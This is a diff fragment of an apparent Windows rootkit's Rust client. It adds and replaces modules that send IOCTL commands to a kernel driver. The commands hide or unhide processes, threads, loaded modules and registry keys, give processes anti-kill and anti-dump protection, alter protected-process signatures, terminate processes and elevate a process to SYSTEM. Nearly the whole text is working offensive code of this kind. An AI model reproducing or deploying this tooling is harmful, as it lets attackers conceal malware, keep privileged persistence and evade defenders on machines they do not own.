||||
(module_info.len() * size_of::<ModuleInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl failed with status: 0x{:08X} for PID: {}", unsafe { GetLastError() }, pid);
|
||||
} else {
|
||||
let total_modules = return_buffer as usize / size_of::<ModuleInfo>();
|
||||
info!("Total modules found for PID {pid}: {total_modules}");
|
||||
info!("Listing modules:");
|
||||
println!();
|
||||
|
||||
for module in module_info.iter() {
|
||||
if module.address > 0 {
|
||||
let name = match String::from_utf16(&module.name) {
|
||||
Ok(name) => name,
|
||||
Err(err) => {
|
||||
error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
println!("[{}] {:p} {}", module.index, module.address as *mut c_void, name);
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
info!("Module enumeration completed for PID: {pid}");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle for PID: {pid}");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn hide_module(ioctl_code: u32, name: &String, pid: u32) {
|
||||
debug!("Attempting to open the module for hide operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
debug!("Preparing structure for: {}", name);
|
||||
let mut info_driver = TargetModule {
|
||||
module_name: name.to_string(),
|
||||
pid: pid as usize
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to hide module");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_driver as *mut _ as *mut c_void,
|
||||
size_of::<TargetModule>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Module successfully hidden");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
278
client/src/modules/process.rs
Normal file
278
client/src/modules/process.rs
Normal file
@@ -0,0 +1,278 @@
|
||||
use {
|
||||
log::*,
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError},
|
||||
System::IO::DeviceIoControl,
|
||||
},
|
||||
crate::{
|
||||
utils::open_driver,
|
||||
cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE}
|
||||
},
|
||||
shared::{
|
||||
structs::{
|
||||
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo,
|
||||
ProcessSignature, TargetProcess,
|
||||
},
|
||||
vars::MAX_PIDS,
|
||||
},
|
||||
};
|
||||
|
||||
pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
debug!("Attempting to open the driver for hide/unhide operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
debug!("Preparing structure for pid: {}", pid_value);
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = ProcessInfoHide {
|
||||
enable,
|
||||
pid,
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} process", if enable { "hide" } else { "unhide" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<ProcessInfoHide>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!(
|
||||
"DeviceIoControl Failed with status: 0x{:08X}",
|
||||
unsafe { GetLastError() }
|
||||
);
|
||||
} else {
|
||||
info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" });
|
||||
}
|
||||
} else {
|
||||
error!("PID not supplied");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||
debug!("Attempting to open the driver for terminate operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
debug!("Preparing structure for pid: {}", pid_value);
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess { pid };
|
||||
|
||||
debug!("Sending DeviceIoControl command to terminate process");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Process with PID {} terminated successfully", pid);
|
||||
}
|
||||
} else {
|
||||
error!("PID not supplied");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
debug!("Attempting to open the driver for protection operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
debug!("Preparing structure for pid: {}", pid_value);
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = shared::structs::ProcessProtection { pid, enable };
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} protection", if enable { "enable" } else { "disable" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<shared::structs::ProcessProtection>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }
|
||||
);
|
||||
} else {
|
||||
info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" });
|
||||
}
|
||||
} else {
|
||||
error!("PID not supplied");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn enumerate_process(ioctl_code: u32, option: &Options) {
|
||||
debug!("Attempting to open the driver for process enumeration");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() };
|
||||
let mut enumeration_input = EnumerateInfoInput {
|
||||
options: option.to_shared(),
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
|
||||
debug!("Sending DeviceIoControl command to enumerate processes");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut enumeration_input as *mut _ as *mut c_void,
|
||||
size_of::<EnumerateInfoInput>() as u32,
|
||||
info_process.as_mut_ptr() as *mut _,
|
||||
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
|
||||
info!("Total Processes: {}", total_process);
|
||||
println!("Listing Processes:");
|
||||
println!("");
|
||||
for i in 0..total_process {
|
||||
if info_process[i].pids > 0 {
|
||||
println!("[{}] {}", i, info_process[i].pids);
|
||||
}
|
||||
}
|
||||
println!("");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub fn signature_process(
|
||||
pid: Option<&u32>,
|
||||
ioctl_code: u32,
|
||||
sg: &PS_PROTECTED_SIGNER,
|
||||
tp: &PS_PROTECTED_TYPE,
|
||||
) {
|
||||
debug!("Attempting to open the driver for signature operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
debug!("Preparing structure for pid: {}", pid_value);
|
||||
let mut return_buffer = 0;
|
||||
let sg = *sg as usize;
|
||||
let tp = *tp as usize;
|
||||
let pid = *pid_value as usize;
|
||||
let mut info_protection_process = ProcessSignature { pid, sg, tp };
|
||||
|
||||
debug!("Sending DeviceIoControl command to apply signature protection");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_protection_process as *mut _ as *mut c_void,
|
||||
size_of::<ProcessSignature>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!(
|
||||
"DeviceIoControl Failed With Status: 0x{:08X}",
|
||||
unsafe { GetLastError() }
|
||||
);
|
||||
} else {
|
||||
info!("Process with PID {} successfully protected", pid);
|
||||
}
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||
debug!("Attempting to open the driver for elevation operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
debug!("Preparing structure for pid: {}", pid_value);
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess { pid };
|
||||
|
||||
debug!("Sending DeviceIoControl command to elevate process");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!(
|
||||
"DeviceIoControl Failed With Status: 0x{:08X}",
|
||||
unsafe { GetLastError() }
|
||||
);
|
||||
} else {
|
||||
info!("Process with PID {} elevated to System", pid);
|
||||
}
|
||||
} else {
|
||||
error!("PID not supplied");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
89
client/src/modules/registry.rs
Normal file
89
client/src/modules/registry.rs
Normal file
@@ -0,0 +1,89 @@
|
||||
use {
|
||||
log::*,
|
||||
crate::utils::open_driver,
|
||||
shared::structs::TargetRegistry,
|
||||
std::{ffi::c_void, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError},
|
||||
System::IO::DeviceIoControl,
|
||||
},
|
||||
};
|
||||
|
||||
pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
info!("Attempting to open the registry for protection operation");
|
||||
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
debug!("Preparing structure for Key: {} | Value: {} | Protection: {}", key, value, if enable { "hide" } else { "unhide" });
|
||||
let mut info_registry = TargetRegistry {
|
||||
enable,
|
||||
value: value.to_string(),
|
||||
key: key.to_string(),
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} protection for key: {} | value: {}", if enable { "enable" } else { "disable" }, key, value);
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_registry as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetRegistry>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Registry protection {} for Key: {} and Value: {} succeeded", if enable { "enabled" } else { "disabled" }, key, value);
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn registry_hide_unhide(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
info!("Attempting to open the registry for hide/unhide operation");
|
||||
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
debug!("Preparing structure for Key: {} | Value: {} | Operation: {}", key, value, if enable { "hide" } else { "unhide" });
|
||||
let mut info_registry = TargetRegistry {
|
||||
enable,
|
||||
key: key.to_string(),
|
||||
value: value.to_string(),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} registry for Key: {} | Value: {}", if enable { "hide" } else { "unhide" }, key, value);
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_registry as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetRegistry>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Registry with Key: {} and Value: {} successfully {}hidden", key, value, if enable { "" } else { "un" });
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
}
|
||||
}
|
||||
133
client/src/modules/thread.rs
Normal file
133
client/src/modules/thread.rs
Normal file
@@ -0,0 +1,133 @@
|
||||
use {
|
||||
log::*,
|
||||
crate::{cli::Options, utils::open_driver},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
shared::{
|
||||
structs::{EnumerateInfoInput, TargetThread, ThreadListInfo},
|
||||
vars::MAX_TIDS,
|
||||
},
|
||||
windows_sys::Win32::{
|
||||
Foundation::CloseHandle,
|
||||
System::IO::DeviceIoControl,
|
||||
},
|
||||
};
|
||||
|
||||
pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
debug!("Attempting to open the driver for hide/unhide operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
if let Some(tid_value) = tid {
|
||||
debug!("Preparing structure for TID: {}", tid_value);
|
||||
let mut return_buffer = 0;
|
||||
let tid = *tid_value as usize;
|
||||
let mut target_thread = TargetThread { tid, enable };
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_thread as *mut _ as *mut c_void,
|
||||
size_of::<TargetThread>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" });
|
||||
}
|
||||
} else {
|
||||
error!("TID not supplied");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
debug!("Attempting to open the driver for thread protection operation");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
if let Some(tid_value) = tid {
|
||||
debug!("Preparing structure for TID: {}", tid_value);
|
||||
let mut return_buffer = 0;
|
||||
let tid = *tid_value as usize;
|
||||
let mut target_thread = shared::structs::ThreadProtection { tid, enable };
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_thread as *mut _ as *mut c_void,
|
||||
size_of::<shared::structs::ThreadProtection>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
info!("Thread TID {} with anti-kill and dumping functions {}", tid, if enable { "enabled" } else { "disabled" });
|
||||
}
|
||||
} else {
|
||||
error!("TID not supplied");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn enumerate_thread(ioctl_code: u32, option: &Options) {
|
||||
debug!("Attempting to open the driver for thread enumeration");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() };
|
||||
let mut enumeration_input = EnumerateInfoInput {
|
||||
options: option.to_shared(),
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
|
||||
debug!("Sending DeviceIoControl command to enumerate threads");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut enumeration_input as *mut _ as *mut c_void,
|
||||
size_of::<EnumerateInfoInput>() as u32,
|
||||
info_thread.as_mut_ptr() as *mut _,
|
||||
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
let total_threads = return_buffer as usize / size_of::<ThreadListInfo>();
|
||||
info!("Total Threads: {}", total_threads);
|
||||
for i in 0..total_threads {
|
||||
if info_thread[i].tids > 0 {
|
||||
info!("[{}] {}", i, info_thread[i].tids);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
@@ -1,256 +0,0 @@
|
||||
use {
|
||||
crate::{
|
||||
cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE},
|
||||
driver::open_driver
|
||||
},
|
||||
shared::{
|
||||
structs::{
|
||||
EnumerateInfoInput, ProcessListInfo, TargetProcess,
|
||||
ProcessInfoHide, ProcessSignature,
|
||||
},
|
||||
vars::MAX_PIDS
|
||||
},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}
|
||||
};
|
||||
|
||||
pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = ProcessInfoHide::default();
|
||||
target_process.enable = if enable {
|
||||
true
|
||||
} else {
|
||||
false
|
||||
};
|
||||
|
||||
target_process.pid = pid;
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<ProcessInfoHide>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
if enable {
|
||||
println!("[+] Process with PID {pid} successfully hidden");
|
||||
} else {
|
||||
println!("[+] Process with PID {pid} successfully unhidden");
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
println!("[-] PID not supplied");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess {
|
||||
pid,
|
||||
};
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetProcess>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Process with PID {pid} terminated successfully");
|
||||
}
|
||||
} else {
|
||||
println!("[-] PID not supplied");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = shared::structs::ProcessProtection {
|
||||
pid,
|
||||
enable
|
||||
};
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<shared::structs::ProcessProtection>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Process PID {pid} with anti-kill and dumping functions enabled");
|
||||
}
|
||||
} else {
|
||||
println!("[-] PID not supplied");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn enumerate_process(ioctl_code: u32, option: &Options) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() };
|
||||
let mut enumeration_input = EnumerateInfoInput {
|
||||
options: option.to_shared()
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut enumeration_input as *mut _ as *mut c_void,
|
||||
size_of::<EnumerateInfoInput>() as u32,
|
||||
info_process.as_mut_ptr() as *mut _,
|
||||
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
|
||||
println!("[+] Total Processes: {}", total_process);
|
||||
for i in 0..total_process {
|
||||
if info_process[i].pids > 0 {
|
||||
println!("[{}] {}", i, info_process[i].pids);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn signature_process(pid: Option<&u32>, ioctl_code: u32, sg: &PS_PROTECTED_SIGNER, tp: &PS_PROTECTED_TYPE) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
let mut return_buffer = 0;
|
||||
let sg = *sg as usize;
|
||||
let tp = *tp as usize;
|
||||
let pid = *pid_value as usize;
|
||||
let mut info_protection_process = ProcessSignature {
|
||||
pid,
|
||||
sg,
|
||||
tp,
|
||||
};
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_protection_process as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<ProcessSignature>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Process with PID {pid} successfully protected");
|
||||
}
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
if let Some(pid_value) = pid {
|
||||
let mut return_buffer = 0;
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess {
|
||||
pid,
|
||||
};
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetProcess>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Process with PID {pid} elevated to System")
|
||||
}
|
||||
} else {
|
||||
println!("[-] PID not supplied");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
use {
|
||||
crate::driver::open_driver,
|
||||
std::{ffi::c_void, ptr::null_mut},
|
||||
shared::structs::TargetRegistry,
|
||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||
};
|
||||
|
||||
pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut info_registry = TargetRegistry {
|
||||
enable,
|
||||
value: value.to_string(),
|
||||
key: key.to_string()
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_registry as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetRegistry>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Registry protection succeeded!");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn registry_hide(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut info_registry = TargetRegistry {
|
||||
enable,
|
||||
key: key.to_string(),
|
||||
value: value.to_string(),
|
||||
..Default::default()
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_registry as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetRegistry>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Registry hide succeeded!");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
@@ -1,132 +0,0 @@
|
||||
use {
|
||||
crate::{cli::Options, driver::open_driver},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
shared::{structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}, vars::MAX_TIDS},
|
||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||
};
|
||||
|
||||
pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
if let Some(tid_value) = tid {
|
||||
let mut return_buffer = 0;
|
||||
let tid = *tid_value as usize;
|
||||
let mut target_thread = TargetThread {
|
||||
tid,
|
||||
enable
|
||||
};
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_thread as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetThread>() as u32,
|
||||
null_mut(),
|
||||
